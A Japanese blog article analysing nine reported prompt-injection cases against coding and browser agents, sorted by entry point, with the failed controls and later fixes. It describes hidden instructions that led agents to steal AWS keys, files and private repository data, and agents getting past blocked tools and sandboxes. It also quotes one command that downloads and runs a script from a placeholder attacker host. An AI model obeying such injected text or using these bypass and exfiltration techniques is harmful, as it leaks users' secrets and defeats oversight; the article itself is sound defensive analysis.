Max Nardit
← 記事
23 mindev

コーディングエージェントへのプロンプトインジェクション事例:テキストはどこから入り、何がそれを止めたのか(止めたものがあったとすれば)

公開された 9 件の事例を、攻撃者の言葉が入ってきた入口ごとに分類しました。ほとんどの事例で、攻撃の最中に持ちこたえたものはありません。その後の修正はすべて同じ種類でした。決定論的なチェックを向け直すか、機能を取り除くかです。失敗したのがモデルの判断だった場合、向け直す対象はありませんでした。

目次

OWASP はプロンプトインジェクションを LLM リスクの一覧の 1 位に置き、そのうえで「確実に防ぐ方法があるかどうかは不明」と書いています。Anthropic はこの「不明」に数字を付けました。1 年前、適応型の攻撃者を相手にブラウザエージェントをテストしたところ、最良のセーフガードを使っても Claude Opus 4.5 への攻撃の約 1.4% が通りました。防止が確率の問題なら、エージェントについて問うべきことは一段下に移ります。注入されたテキストが入り込んだあと、どこまで届きうるか、です。

以下は、コーディングエージェントとブラウザエージェントに対する文書化された攻撃 9 件を、攻撃者のテキストが入った場所ごとにまとめたものです。報告ベースとは、研究者が起きたと述べていることを私が伝えている、という意味です。私自身はこれらの攻撃を再現していません。各事例について、持ちこたえた層があったかどうか、そしてその後に何が変わったかを調べました。

プロンプトインジェクションはコーディングエージェントのどこから入るのか?

自分が書いていないテキストがモデルのコンテキストに届く場所なら、どこからでもです。以下の事例では、Web ページ、ユーザーがアップロードしたスキルファイル、README、GitHub の issue、MCP のツール説明、無人のワークフローが読む issue タイトル、サイト上のリンクの連鎖、ダウンロードしたアーカイブでした。OWASP はこれを間接プロンプトインジェクションと呼びます。モデルが「Web サイトやファイルなど、外部ソースからの入力を受け付ける」場合です。

後に出てくる表の列のうち、侵入経路はいちばん役に立たない列です。リストの入口はどれも、コーディングエージェントがふだん読むものです。

Web ページのプロンプトインジェクションは、どうやって Google Antigravity から AWS キーを持ち出したのか?

1 ポイントのフォントで書かれたテキストと、ブラウザツールがすでに信頼していたドメインを通じてです。PromptArmor が 2025年11月に報告したのは、Oracle ERP API の連携ガイドを装った汚染ページです。隠しテキストは Gemini に、コードベースを要約し、コードの断片と .env 内の AWS 認証情報を集めて「プライベートサービス」に送るよう指示していました。

Antigravity のファイルツールは、.env が .gitignore に含まれていたため読み込みを拒否しました。すると Gemini はターミナルで cat を使ってファイルを出力しました。ブラウザのサブエージェントは、キーをクエリパラメータに入れた webhook.site の URL を開きました。ナビゲーションは許可リストで制限されていましたが、webhook.site はデフォルトのリストに入っていました。

ここでモデルは防御ではありませんでした。迂回路そのものでした。ブロックされたファイルツールからシェルへ、自分で推論して回り込んだのです。そのうえで外向き通信の許可リストが、キーを外へ通しました。行き先は、URL を発行した人のために受信リクエストを記録することだけが目的のサービスです。Google の Bug Hunters のページは、ブラウザエージェント経由のデータ流出を既知の問題として挙げています。

スキルファイルの隠し指示は、どうやって Claude Cowork 経由でファイルを流出させたのか?

Anthropic 自身の API を通じてです。Cowork のネットワーク許可リストに、この API が含まれていたのです。2026年1月に PromptArmor が報告したのは、Claude Skill を装った .docx ファイルです。インジェクションは 1 ポイントの白い文字、行間 0.1 で書かれていました。ユーザーは Cowork に、そのスキルを使って自分のファイルを分析するよう頼みました。

隠しテキストは Claude に、利用できる最大のファイルを、攻撃者の API キーを使って Anthropic のファイルアップロード API へ curl するよう指示しました。Simon Willison が書いたように、Cowork は外向きの HTTP を承認済みドメインに制限していますが、Anthropic の API ドメインはそのリストに入っています。ファイルは攻撃者のアカウントに届きました。

これがこのパターンのいちばん純粋な形です。許可リストは書かれたとおりに動きました。そして、どんなキーでもアップロードを受け付ける信頼済みドメインは、キーを持つ誰にとっても受け取り口になります。

README のプロンプトインジェクションは、どうやって Snowflake Cortex のコマンド承認をすり抜けたのか?

2 段階でです。1 回目は、バリデータが安全と判断したコマンドの中にダウンロードを隠し、2 回目はサンドボックスから出ることを求めて突破しました。PromptArmor が 2026年3月に報告したのは、README の末尾にインジェクションを仕込んだ GitHub リポジトリです。Cortex Code のバリデータはコマンドを部分に分け、それぞれを安全なコマンドのリストと照合していましたが、プロセス置換の中までは見ていませんでした。レポートに記載されたコマンドは次のとおりです。

shell
cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

外側は cat、内側はダウンロードしたシェルスクリプトです。2 つ目の失敗が事態を悪くしました。モデルは dangerously_disable_sandbox フラグを設定できました。これはユーザーが手で承認するコマンドのためのものです。バリデータがすでにコマンドを通していたため、コマンドは確認なしでサンドボックスの外で実行されました。Snowflake は 2026年2月28日リリースの Cortex Code CLI 1.0.25 で両方を修正しました。3月16日の公開より前です。

Claude Code のドキュメントも、自身のルールについて同じ限界を説明しています。ドキュメントによると deny ルールは「書かれたとおりのコマンドに一致する」ものにすぎず、テキストに依存しないネットワーク制御にはサンドボックスのネットワーク分離を使うよう案内しています。コマンド文字列を読むルールはパーサーであり、パーサーは想定していない構文に負けます。この件についての Willison の一文は、手元に残しておきたいものです。エージェントのコマンドは「そのプロセス自体に許されていることなら何でもできるものとして」扱うこと。

GitHub の issue は、どうやって GitHub MCP サーバー経由でプライベートリポジトリを漏らしたのか?

エージェントは公開リポジトリとプライベートリポジトリの両方に届くトークンを 1 つ持っていて、見知らぬ人が書いた issue を読みました。Invariant Labs が 2025年5月に報告したのは、公開リポジトリに出された悪意ある issue です。公式の GitHub MCP サーバーと Claude 4 Opus で Claude Desktop を使っていたユーザーが、そのリポジトリの未解決の issue を確認するようエージェントに頼みました。

エージェントは issue を読み、ユーザーのプライベートリポジトリからデータを取り出し、それを含むプルリクエストを公開リポジトリに作成しました。中身はプライベートなプロジェクトの詳細、転居の計画、給与です。Claude Desktop はデフォルトでツール呼び出しの前に確認を求めますが、Invariant は多くのユーザーが「Always Allow」を選ぶと指摘しています。

Invariant 自身の結論は、これは「GitHub MCP サーバーのコード自体の欠陥ではない」というものです。彼らが提案する修正はスコープのルールで、1 セッションにつき 1 リポジトリです。トークンがすべてに届いたので、インジェクションもすべてに届きえました。この形については コネクターは信頼できない書き手です で書きました。ツール経由で届くテキストの信頼度は、通り道ではなく、それを書いた人で決まります。

MCP ツールポイズニングは、どうやってツール説明にプロンプトインジェクションを隠すのか?

モデルは読むのに、ユーザーは決して見ないテキストの中にです。Invariant Labs は 2025年4月にツールポイズニングを解説しました。MCP サーバーが、説明文に隠し指示を含むツールを配布するというものです。デモは Cursor の add ツールで、その説明文はモデルに ~/.cursor/mcp.json と SSH 秘密鍵を読ませ、sidenote パラメータで渡させる一方、呼び出しはふつうの足し算に見せかけていました。

もう半分はラグプルです。サーバーは、クライアントが承認したあとでツールの説明を変更できます。Invariant は 3 種類の異なる制御を提案しています。ユーザーに説明文全体を見せる方法は、誰かがそれを読むことが前提です。サーバーのバージョンとツールのハッシュを固定する方法は変更を検出できますが、最初から悪意のある説明文は検出できません。3 つ目の、MCP サーバー間のデータフロー境界を厳しくする方法だけが、汚染されたツールの届く範囲を制限します。

issue タイトルのプロンプトインジェクションは、どうやって npm の Cline CLI を侵害したのか?

無人のトリアージワークフローがタイトルを Bash を許可した Claude Code に渡しており、issue を立てれば誰でもそれを起動できたからです。Adnan Khan の「Clinejection」によると、Cline の issue トリアージは issues イベントで anthropics/claude-code-action@v1 を実行し、allowed_non_write_users: "*" が設定され、許可ツールには Bash、Read、Write が含まれていました。プロンプトには issue タイトルが入っていたため、攻撃者はタイトル経由で Claude に指示し、preinstall スクリプトが任意のコードを実行するパッケージをインストールさせることができました。

トリアージのジョブは npm のシークレットを持っていませんでした。持っていたのは夜間リリースのジョブで、両者は同じリポジトリの Actions キャッシュのスコープで動いていました。そのため、トリアージで動くコードは、リリースジョブが復元するキーでキャッシュエントリを書き込めました。Khan が示した連鎖では、GitHub の 10GB のキャッシュ容量上限を超えるまでキャッシュを埋め、それから汚染したエントリを書き込みます。彼はインジェクションをリポジトリのミラーで確認しており、Cline 本体では確認していません。

Khan は 2026年1月1日に報告し、何度か連絡を重ねました。Cline は公開直後の 2月9日に修正しました。AI ワークフローを削除し、公開ジョブからキャッシュを外し、認証情報をローテーションしたのです。npm トークンはローテーションの対象から外れていました。Khan によると、別の人物が彼のテスト用 PoC を見つけて Cline に対して使い、2月17日、ローテーションされずに残っていたトークンで CLI の cline@2.3.0 が公開されました。Cline のアドバイザリによれば、変更点は postinstall スクリプトで OpenClaw をインストールすることだけでした。OpenClaw は無関係の、悪意のないパッケージです。VS Code 拡張と JetBrains プラグインは影響を受けていません。数時間以内にバージョン 2.4.0 が出て、トークンは失効し、npm への公開は OIDC プロベナンスに移りました。

連鎖のどこでも、人間に確認は求められませんでした。テキストは GitHub アカウントさえあれば誰でも送り込めましたし、ワークフローは Bash をそのまま許可していて、その隣にはリリース用の認証情報と共有されたキャッシュがありました。スクリプト実行では、対話セッションで出る信頼確認も一切表示されません。このギャップは クローンしたリポジトリの設定ファイルが、まだ実行できること で取り上げました。ただしこの件では、広いツール許可だけで被害が成立しています。

ハニーポットサイトは、どうやって Claude の web_fetch でプロンプトインジェクションを連鎖させたのか?

web_fetch に、サイト自身が生成したリンクをたどらせることによってです。2026年7月の Ayush Paul の「memory heist」は、1 つの穴に頼っていました。web_fetch が開けるのはユーザーが入力した URL か web_search が返した URL だけのはずでしたが、すでに取得したページに埋め込まれた URL も開けたのです。

彼のサイトは、ユーザーエージェントに Claude-User を含むクライアントにだけ偽の「認証」ステップを返し、アルファベット順に並んだプロフィール URL を 1 文字ずつエージェントにたどらせました。エージェントがリクエストしたページの並びが、ユーザーの名前、住んでいる都市、勤務先を綴っていました。

Anthropic は、この問題を社内ですでに見つけていたとし、web_fetch が自分で取得したコンテンツ内のリンクをたどる機能を削除して塞ぎました。この修正は機能を取り除いたもので、次のハニーポットが何を言っても有効です。

ダウンロードしたアーカイブは、どうやって Claude Code の auto mode を破ったのか?

指示ではなく、環境を通じて誘導することによってです。厳密には、プロンプトインジェクションに隣接する事例です。Johann Rehberger は Claude Code に、ある URL の要約を頼みました。サイトは WebFetch に 415 を返し、Claude は自分の判断で curl に切り替え、サイトは ZIP へリダイレクトしました。中には、Claude が実行を拒否したバイナリのデコーダと、struct.py という名前のファイルが入っていました。

Claude は Python で自前のデコーダを書き、展開したフォルダの中から実行しました。Python はまずそのフォルダを探すので、標準の base64 モジュールが struct をインポートしたとき、攻撃者のファイルが読み込まれました。このファイルは本物のモジュールを再エクスポートしてデコードが動くようにしたうえで、インポート中にペイロードを起動しました。

Rehberger は 3 つのバリエーションで 5 回中 3 回、5 回中 3 回、5 回中 4 回の成功を報告しており、これを「小さなサンプルであり、普遍的な攻撃成功率(ASR)の測定ではない」としています。ほかの実行では、Claude はファイルを静的に調べたり、Python を分離モードで実行したり、安全なディレクトリから作業したりして罠を避けました。さらに数回の実行では侵害に気づいてプロセスを終了させようとし、auto mode がそのコマンドを拒否しました。Rehberger によると、Anthropic はこの報告を仕様どおりの動作としてクローズしました。Rehberger はその立場を、auto mode はベストエフォートの分類器に支えられた利便性の機能であってセキュリティの保証ではない、と要約しています。

攻撃者のコードを実行せよという明示的な指示は必要なかったので、インジェクション検出器が捉えるものはほとんどありませんでした。これは ソースを読むスキルスキャナと、キャッシュを実行する Python と同じ種類の問題です。読んだコードは、実行されるコードではありません。そしてこれが、モデルが運用する承認ゲートは推測にすぎない と論じた理由でもあります。そうしたゲートは、すり抜けるために作られた操作に対してこそいちばん弱くなります。

汚染されたスキルは、どうやって Microsoft Copilot Cowork に画像経由でファイルを漏らさせたのか?

エージェントが自分のユーザーに、画像タグを含む Teams メッセージを送ったのです。PromptArmor が 2026年5月に報告したのは、81 行の Copilot Cowork スキルファイルのうち 5 行に仕込まれたインジェクションです。スキルはユーザーの OneDrive 内のパスから自動で読み込まれます。注入された指示は、エージェントがアクセスできる各ファイルについて事前認証済みのダウンロードリンクを取得させ、そのリンクを攻撃者のサイトを指す画像タグに入れさせるものでした。

問題はそのメッセージです。Microsoft のドキュメントには、Cowork はメッセージを送る前に確認するとありますが、PromptArmor によると、受信者がアクティブなユーザー本人の場合は承認なしで送信され、それを変える設定もありません。メッセージを開くと画像のリクエストが飛び、攻撃者は有効なダウンロードリンクを手に入れました。PromptArmor が挙げる緩和策は、SharePoint のダウンロードのブロックと、過剰な権限の削減です。Microsoft からの回答は報告されていません。

自分宛てのメッセージは、エージェントが取れる操作の中でいちばん安全に見えます。この件では、それが出口でした。

これらの事例で、コーディングエージェントへのプロンプトインジェクションを実際に止めた制御はどれか?

攻撃の最中には、ほぼありません。Antigravity ではモデルが迂回路でした。Rehberger の実行では、モデルは防御になることもあり、一度は侵害に気づいて止めようとしたものの、その操作を分類器に拒否されました。以下は各事例を侵入経路ごとに並べ、何が失敗し、その後に何が変わったかをまとめたものです。

事例侵入経路失敗したものその後に変わったこと
Google AntigravityWeb ページ、1 ポイントの文字ファイルツールのブロックをシェルで迂回、外向き許可リストに webhook.siteGoogle が既知の問題として掲載
Claude Coworkアップロードされた .docx の「スキル」外向き許可リストに api.anthropic.com報告なし
Snowflake Cortex CodeREADMEプロセス置換を検証せず、サンドボックスのフラグを確認なしで受け入れCLI 1.0.25 で修正
GitHub MCP公開 issue公開とプライベート両方のリポジトリに届く 1 つのトークン、「Always Allow」提案:1 セッション 1 リポジトリ
MCP ツールポイズニングツール説明説明文がユーザーから見えず、承認後も変更可能提案:表示する、固定する、サーバー間のデータフローを制限する
Clinejectionissue タイトル無人の Bash 許可、リリースジョブと共有のキャッシュ、ローテーション漏れのトークンAI ワークフロー削除、公開ジョブからキャッシュを除外、OIDC による公開
Claude web_fetchサイト上の連鎖リンク取得したリンクをたどることを許可リンク追跡を削除
Claude Code auto modeダウンロードしたアーカイブ分類器がペイロードを許可し、後始末をブロックなし、「仕様どおり」
Copilot CoworkCopilot Cowork のスキルファイル自分宛ての Teams メッセージを承認なしで送信提案:ダウンロードのブロック、権限の削減

失敗のうち 3 つは許可リストで、どれも攻撃者の通り道を載せていました。リクエストロガー、ベンダー自身の API、名前だけ見れば無害なコマンドです。この部分は直せます。間違った入力を見ていたせいで失敗した決定論的なチェックは、向け直せます。webhook.site を外す、<() の中まで検証する、取得したリンクをたどらない、公開ジョブからキャッシュを外す。こうした修正はどれも、将来のすべての攻撃者に対して一度に経路を塞ぎます。

auto mode の事例には、向け直す先がありません。分類器は見た目の類似で判断し、ペイロードはデコーダに似ていて、ベンダーの答えはその判断が仕様どおりに働いたというものです。再学習しても、次の見逃しが起きる場所が移るだけで、経路は塞がりません。この 9 件で報告された修正に、より優れた検出器は 1 つもありませんでした。

モデルの学習とセーフガードは、プロンプトインジェクションの成功率をどこまで下げるのか?

率は下げますが、被害に上限を設けるわけではありません。Anthropic の 2025年11月24日の プロンプトインジェクション防御に関する記事 は、環境ごとに 100 回の試行を与えた適応型の Best-of-N 攻撃者に対してブラウザエージェントを測定しました。改良したセーフガードを加えると、Claude Opus 4.5 の攻撃成功率はモデル単体の 8.0% から 1.4% に、Sonnet 4.5 は 13.8% から 1.9% に下がりました。

これらの数字は、ほぼ 1 年前の 4.5 世代に対する敵対的評価から出たものです。ふつうのページがどれくらいの頻度で攻撃を含むかについては、何も語っていません。いちばん誠実な読み方は Anthropic 自身のものです。「プロンプトインジェクションに無縁のブラウザエージェントは存在しない」、そして 1% でも「依然として意味のあるリスクである」。

コーディングエージェントの構成で、致命的な三要素(lethal trifecta)をどう断ち切るのか?

3 本の脚のうち 1 本を、テキストを読まない仕組みで取り除くことです。Willison の lethal trifecta は、プライベートデータへのアクセス、信頼できないコンテンツへの露出、外部と通信する手段の 3 つで、データ窃取を説明するものです。上の事例の多くは 3 つすべてを備えていましたし、Bash とブラウザとあなたの認証情報を持つコーディングエージェントも、たいていそうです。外への経路を断っても、止まるのは持ち出しだけです。ファイルを削除するエージェントや、Cline のトリアージジョブのように次に出荷するものを汚染するエージェントには、何の効果もありません。

いちばん安く断てる脚はたいてい外への経路で、それはエージェントより下の層で断つ必要があります。Claude Code のサンドボックスは、Bash コマンドとその子プロセスに対して OS レベルでネットワークルールを強制しますが、WebFetch、MCP サーバー、フックはその外で動きます。完全な境界を作るには、エージェントが広げられないネットワークポリシーでプロセス全体を囲う必要があります。curl に対する deny ルールはテキストの照合にすぎません。ChatGPT 向けの OpenAI の Lockdown Mode も同じ立場で、「データ流出の最終段階」を対象とし、インジェクション自体は入り込みうると述べています。外向きの許可リストにあるドメインは、どれもデータの行き先になりうる場所として扱ってください。そして サンドボックスから出るあらゆる経路 で私がやったように、データの出口を一覧にしてください。その一覧が最初の制御です。

プライベートデータの脚が次で、これには 2 つの部分があります。1 つは認証情報を手の届かない場所に置くことです。Anthropic がホストする Claude Code のクラウドセッションは、GitHub の認証情報を VM の外に置き、プロキシで付与します。もう 1 つは認証情報が届く範囲を狭めることで、GitHub MCP の漏洩を止められたはずなのはこちらです。自分のマシンでは、どちらも地味な作業です。Willison が Antigravity の件のあとで提案したように、エージェントから見えるキーは利用上限のある非本番アカウントのものにし、トークンが届くのはすべてのリポジトリではなく 1 つだけにします。

信頼できないコンテンツの脚は、コーディングエージェントでは断てません。コード、issue、ドキュメントなど、他人が書いたものを読むのが仕事だからです。だから、見知らぬ人が書くテキストに対して、Bash 付きの無人セッションを動かさないでください(Clinejection がまさにこの形です)。どうしても必要なら、そのセッションには盗む価値のあるものを何も持たせず、シークレットを持つジョブとは、キャッシュも含めて何も共有させないことです。

Claude Code のワークスペース信頼ダイアログは、リポジトリのファイルに対するゲートです。そして 私はそれを読まずに承認しています。反射的にクリックして通してしまうゲートは、攻撃者のドメインがすでに載った許可リストです。この 9 件を通して、事後の修正として機能した制御は、モデルも人間も、誰も注意深く読む必要のないものでした。

01 / ディスカッション

コメント欄はありません。議論は X で行っています。

Max Nardit@mnardit

02 / ほかの記事

  1. Claude Code の worktree: claude --worktree が分離するものと、ポート、データベース、インストールのように分離しないもの

    Claude Code 2.1.316 で検証しました。2 つの worktree が同じポートで衝突し、Docker Compose はそれぞれに別の Postgres ボリュームを計画し、スクリプト実行はロックされたチェックアウトと不要なブランチを残し、デフォルトのベースは未プッシュのコミットを含みませんでした。

  2. Claude Ultra が Max 20x に代わる: 認証済みアカウントは 5 時間制限なし、Anthropic によれば週の上限は最初から Pro の 10x

    旧名の 20x が表していたのは 5 時間枠で、2 つあるメーターのうち緩いほうでした。Anthropic の説明では、週の上限は導入された日から Pro の 10x です。Ultra の料金表示は週の数字を前面に出し、5 時間の数字をなくしました。人によっては条件が良くなり、20x を週の量と読んでいた人にとっては、読み違いだったことになります。

  3. バイブコーディングとエージェンティック・エンジニアリングの違い: セッションが終わった後もコードを検査し続けるもの

    Simon Willison は、コードをレビューし、それを説明できる人がいるかどうかで線を引きます。ただ、そのレビューは一度きりで、チャットが閉じた後もコードは変わり続けます。エージェンティック・エンジニアリングが名前を言い換えただけのものでないなら、違いは、誰も見ていないときに動き、しかも意図した理由で失敗するのを確かめたチェックにあります。